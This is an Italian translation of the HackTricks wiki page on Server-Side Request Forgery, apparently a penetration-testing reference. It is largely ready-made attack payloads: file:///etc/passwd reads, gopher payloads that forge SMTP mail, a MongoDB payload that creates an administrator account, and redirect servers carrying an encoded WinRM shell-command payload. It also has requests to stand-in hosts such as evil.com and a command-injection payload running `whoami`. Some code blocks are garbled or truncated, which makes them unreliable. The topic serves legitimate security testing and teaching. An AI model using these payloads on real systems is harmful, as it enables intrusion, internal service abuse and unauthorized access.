hacktricks/pentesting-web/ssrf-server-side-request-forgery
2024-05-06 11:09:55 +00:00
..
cloud-ssrf.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:46:05 +00:00
README.md Translated ['crypto-and-stego/certificates.md', 'generic-methodologies-a 2024-05-06 11:09:55 +00:00
ssrf-vulnerable-platforms.md Translated to Italian 2024-02-10 13:03:23 +00:00
url-format-bypass.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:09:41 +00:00

SSRF (Server Side Request Forgery)


Utilizza Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di Base

Una vulnerabilità di Server-side Request Forgery (SSRF) si verifica quando un attaccante manipola un'applicazione lato server per effettuare richieste HTTP a un dominio a loro scelta. Questa vulnerabilità espone il server a richieste esterne arbitrarie dirette dall'attaccante.

Cattura di SSRF

La prima cosa da fare è catturare un'interazione SSRF generata da te. Per catturare un'interazione HTTP o DNS puoi utilizzare strumenti come:

Bypass dei Domini in Whitelist

Di solito scoprirai che l'SSRF funziona solo in certi domini in whitelist o URL. Nella pagina seguente trovi una raccolta di tecniche da provare per bypassare quella whitelist:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Bypass tramite reindirizzamento aperto

Se il server è correttamente protetto, potresti bypassare tutte le restrizioni sfruttando un reindirizzamento aperto all'interno della pagina web. Poiché la pagina web permetterà SSRF allo stesso dominio e probabilmente seguirà i reindirizzamenti, puoi sfruttare il reindirizzamento aperto per fare in modo che il server acceda a qualsiasi risorsa interna.
Leggi di più qui: https://portswigger.net/web-security/ssrf

Protocolli

  • file://
  • Lo schema URL file:// è riferito, puntando direttamente a /etc/passwd: file:///etc/passwd
  • dict://
  • Lo schema URL DICT è descritto come utilizzato per accedere a definizioni o elenchi di parole tramite il protocollo DICT. Viene fornito un esempio di URL costruito che mira a una parola specifica, a un database e a un numero di voce, nonché un'istanza di uno script PHP potenzialmente abusato per connettersi a un server DICT utilizzando credenziali fornite dall'attaccante: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Identificato come un protocollo per il trasferimento sicuro di file tramite shell sicura, viene fornito un esempio che mostra come uno script PHP potrebbe essere sfruttato per connettersi a un server SFTP maligno: url=sftp://generic.com:11111/
  • TFTP://
  • Il Trivial File Transfer Protocol, che opera su UDP, è menzionato con un esempio di uno script PHP progettato per inviare una richiesta a un server TFTP. Viene fatta una richiesta TFTP a 'generic.com' sulla porta '12346' per il file 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Questo segmento copre il Lightweight Directory Access Protocol, sottolineando il suo utilizzo per gestire e accedere a servizi di informazioni di directory distribuite su reti IP. Interagisci con un server LDAP in localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Viene descritto un metodo per sfruttare le vulnerabilità di SSRF per interagire con i servizi SMTP in localhost, inclusi i passaggi per rivelare i nomi di dominio interni e ulteriori azioni investigative basate su tali informazioni.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - Bypass del WAF
  • Se l'SSRF viene eseguito tramite curl, curl ha una funzionalità chiamata URL globbing che potrebbe essere utile per bypassare i WAF. Ad esempio in questo articolo puoi trovare questo esempio per una traversata del percorso tramite il protocollo file:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Viene discusso il protocollo Gopher e la sua capacità di specificare IP, porta e byte per la comunicazione con il server, insieme a strumenti come Gopherus e remote-method-guesser per la creazione di payload. Vengono illustrate due utilizzi distinti:

Gopher://

Utilizzando questo protocollo è possibile specificare l'IP, la porta e i byte che si desidera che il server invii. Quindi, è possibile sfruttare un SSRF per comunicare con qualsiasi server TCP (ma è necessario sapere come parlare con il servizio prima).
Fortunatamente, è possibile utilizzare Gopherus per creare payload per diversi servizi. Inoltre, remote-method-guesser può essere utilizzato per creare payload gopher per servizi Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Connessione inversa a 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- Crea un utente con username=admin con password=admin123 e con permesso=amministratore

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF tramite l'intestazione Referrer e Altri

I software di analisi sui server spesso registrano l'intestazione Referrer per tracciare i collegamenti in ingresso, una pratica che espone involontariamente le applicazioni a vulnerabilità di Server-Side Request Forgery (SSRF). Questo perché tali software potrebbero visitare URL esterni menzionati nell'intestazione Referrer per analizzare i contenuti del sito di riferimento. Per scoprire queste vulnerabilità, si consiglia il plugin di Burp Suite "Collaborator Everywhere", sfruttando il modo in cui gli strumenti di analisi elaborano l'intestazione Referer per identificare possibili superfici di attacco SSRF.

SSRF tramite dati SNI dal certificato

Una errata configurazione che potrebbe consentire la connessione a qualsiasi backend attraverso una semplice configurazione è illustrata con un esempio di configurazione di Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Nella questa configurazione, il valore dal campo Server Name Indication (SNI) è utilizzato direttamente come indirizzo del backend. Questo setup espone una vulnerabilità a Server-Side Request Forgery (SSRF), che può essere sfruttata specificando semplicemente l'indirizzo IP desiderato o il nome di dominio nel campo SNI. Di seguito è riportato un esempio di sfruttamento per forzare una connessione a un backend arbitrario, come internal.host.com, utilizzando il comando openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Caricamento file Wget

SSRF con Iniezione di Comandi

Potrebbe valere la pena provare un payload come: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Rendering dei PDF

Se la pagina web sta creando automaticamente un PDF con alcune informazioni che hai fornito, puoi inserire un po' di JS che verrà eseguito dal creatore di PDF stesso (il server) durante la creazione del PDF e sarai in grado di sfruttare un SSRF. Trova più informazioni qui.

Da SSRF a DoS

Crea diverse sessioni e prova a scaricare file pesanti sfruttando l'SSRF dalle sessioni.

Funzioni PHP SSRF

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF Reindirizzamento a Gopher

Per alcune tipologie di exploit potresti aver bisogno di inviare una risposta di reindirizzamento (potenzialmente per utilizzare un protocollo diverso come gopher). Qui hai diversi codici python per rispondere con un reindirizzamento:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```python
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Usa Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

Proxy mal configurati per SSRF

Trucchi da questo post.

Flask

Codice vulnerabile del proxy Flask ```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flask permette di utilizzare **`@`** come carattere iniziale, il che consente di rendere il **nome host iniziale il nome utente** e iniettarne uno nuovo. Richiesta di attacco:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Codice vulnerabile:

È stato scoperto che è possibile iniziare il percorso di una richiesta con il carattere ; che consente di utilizzare quindi @ e iniettare un nuovo host per accedere. Richiesta di attacco:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Server Web Integrato PHP

Codice PHP vulnerabile ```php $proxy_site = $site.$current_uri; var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site); var_dump($response); ?>

</dettagli>

PHP permette l'uso del **carattere `*` prima di una barra nello percorso** dell'URL, tuttavia ha altre limitazioni come ad esempio che può essere utilizzato solo per il percorso radice `/` e che i punti `.` non sono permessi prima della prima barra, quindi è necessario utilizzare un indirizzo IP codificato senza punti per esempio:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

Bypass CORS/SOP con DNS Rebidding

Se stai avendo problemi nell'esfiltrare contenuti da un IP locale a causa di CORS/SOP, il DNS Rebidding può essere utilizzato per aggirare tale limitazione:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

DNS Rebidding automatizzato

Singularity of Origin è uno strumento per eseguire attacchi di DNS rebinding. Include i componenti necessari per rilegare l'indirizzo IP del server di attacco al nome DNS della macchina bersaglio e per servire payload di attacco per sfruttare software vulnerabili sulla macchina bersaglio.

Controlla anche il server in esecuzione pubblicamente su http://rebind.it/singularity.html

DNS Rebidding + ID Sessione TLS/Session Ticket

Requisiti:

  • SSRF
  • Sessioni TLS in uscita
  • Cose su porte locali

Attacco:

  1. Chiedi all'utente/bot di accedere a un dominio controllato dall'attaccante
  2. Il TTL del DNS è di 0 secondi (così la vittima controllerà presto di nuovo l'IP del dominio)
  3. Viene creata una connessione TLS tra la vittima e il dominio dell'attaccante. L'attaccante introduce il payload all'interno dell'ID Sessione o del Ticket di Sessione.
  4. Il dominio avvierà un loop infinito di reindirizzamenti contro se stesso. L'obiettivo è fare in modo che l'utente/bot acceda al dominio fino a quando non effettua nuovamente una richiesta DNS del dominio.
  5. Nella richiesta DNS viene fornito un indirizzo IP privato ora (ad esempio 127.0.0.1)
  6. L'utente/bot cercherà di ripristinare la connessione TLS e per farlo invierà l'ID Sessione/Ticket ID (dove era contenuto il payload dell'attaccante). Quindi congratulazioni, sei riuscito a far sì che l'utente/bot si attacchi da solo.

Durante questo attacco, se si desidera attaccare localhost:11211 (memcache) è necessario fare in modo che la vittima stabilisca la connessione iniziale con www.attaccante.com:11211 (la porta deve essere sempre la stessa).
Per eseguire questo attacco puoi utilizzare lo strumento: https://github.com/jmdx/TLS-poison/
Per ulteriori informazioni, dai un'occhiata al talk in cui viene spiegato questo attacco: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

SSRF Cieco

La differenza tra un SSRF cieco e uno non cieco è che nel cieco non è possibile vedere la risposta della richiesta SSRF. Quindi, è più difficile da sfruttare perché sarà possibile sfruttare solo vulnerabilità ben note.

SSRF basato sul tempo

Controllando il tempo delle risposte dal server potrebbe essere possibile sapere se una risorsa esiste o meno (forse ci vuole più tempo per accedere a una risorsa esistente rispetto a una che non esiste)

Sfruttamento SSRF nel Cloud

Se trovi una vulnerabilità SSRF in una macchina in esecuzione all'interno di un ambiente cloud potresti essere in grado di ottenere informazioni interessanti sull'ambiente cloud e persino credenziali:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

Piattaforme Vulnerabili a SSRF

Diverse piattaforme conosciute contengono o hanno contenuto vulnerabilità SSRF, controllale in:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Strumenti

SSRFMap

Strumento per rilevare e sfruttare vulnerabilità SSRF

Gopherus

Questo strumento genera payload Gopher per:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser è uno scanner di vulnerabilità Java RMI che supporta operazioni di attacco per la maggior parte delle vulnerabilità comuni di Java RMI. La maggior parte delle operazioni disponibili supporta l'opzione --ssrf, per generare un payload SSRF per l'operazione richiesta. Insieme all'opzione --gopher, è possibile generare direttamente payload gopher pronti all'uso.

SSRF Proxy

SSRF Proxy è un server proxy HTTP multi-threaded progettato per instradare il traffico HTTP del client attraverso server HTTP vulnerabili a Server-Side Request Forgery (SSRF).

Per praticare

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Riferimenti

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:


Usa Trickest per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}